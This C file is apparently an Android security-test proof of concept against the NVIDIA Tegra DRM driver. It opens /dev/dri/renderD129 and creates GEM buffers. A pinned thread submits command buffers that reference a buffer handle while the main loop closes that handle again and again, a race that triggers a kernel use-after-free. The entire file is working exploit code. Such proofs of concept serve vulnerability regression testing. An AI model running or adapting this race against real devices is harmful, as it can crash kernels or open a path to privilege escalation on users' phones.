C++程序  |  147行  |  3.19 KB

/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#include "local_poc.h"

#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))

#define DEV "/dev/dri/renderD129"
#define CMD_NUM		100

int dev_fd;

volatile struct drm_tegra_open_channel	open_c;
volatile struct drm_tegra_submit		submit_c;
volatile struct drm_tegra_gem_create	gem_create;
volatile struct drm_gem_close			gem_close;

volatile struct drm_tegra_cmdbuf		cmdbufs[CMD_NUM];
struct drm_tegra_syncpt		syncpt;
volatile struct drm_tegra_reloc		relocs[CMD_NUM];

static int set_affinity(int num)
{
	int ret = 0;
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(num, &mask);
	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
	if(ret == -1){
	}
	return ret;
}

static int prepare()
{
	int i;

	open_c.client = HOST1X_CLASS_VIC;

	submit_c.num_syncpts = 1;
	submit_c.syncpts = (__u64)&syncpt;	

	gem_close.handle = 1;

	for(i = 0; i < CMD_NUM; i++){
		cmdbufs[i].words = 0;
		cmdbufs[i].offset = 0;
		cmdbufs[i].handle = 0;
		relocs[i].cmdbuf.handle = 0;
		relocs[i].cmdbuf.offset = 0;
		relocs[i].target.handle = 0;
		relocs[i].target.offset = 0;
	}

	submit_c.num_cmdbufs = CMD_NUM;
	submit_c.cmdbufs = (__u64)cmdbufs;
	
	submit_c.num_relocs = CMD_NUM;
	submit_c.relocs = (__u64)relocs;

	gem_create.size = PAGE_SIZE;
	
	return 0;
}

#define SUBMIT_THREAD_NUM 1
pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 };
static void* submit_thread(void *no_use)
{
	set_affinity(1);
	ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
	return NULL;
}

int main()
{
	int ret;
	int i;
	__u64 try_time;

	set_affinity(0);

	dev_fd = open(DEV,O_RDONLY);
	if(dev_fd == -1){
		return 0;
	}

	prepare();

	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
	if(ret == -1){
		goto out_dev;
	}

	submit_c.context = open_c.context;

	try_time = 1;
	while(1){
		ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
		if(ret == 0){
			for(i = 0; i < CMD_NUM; i++){
				cmdbufs[i].handle = gem_create.handle;
				relocs[i].cmdbuf.handle = gem_create.handle;
				relocs[i].target.handle = gem_create.handle;
			}
			for(i = 0; i < SUBMIT_THREAD_NUM; i++){
				pthread_create(submit_thread_id + i, NULL, submit_thread, NULL);
			}
			usleep(150);
			while(ioctl(dev_fd, DRM_IOCTL_GEM_CLOSE, &gem_close) == 0);
		}
		try_time++;
	}

	for(i = 0; i < SUBMIT_THREAD_NUM; i++){
		pthread_join(submit_thread_id[i], NULL);
	}

out_dev:
	close(dev_fd);
	return 0;
}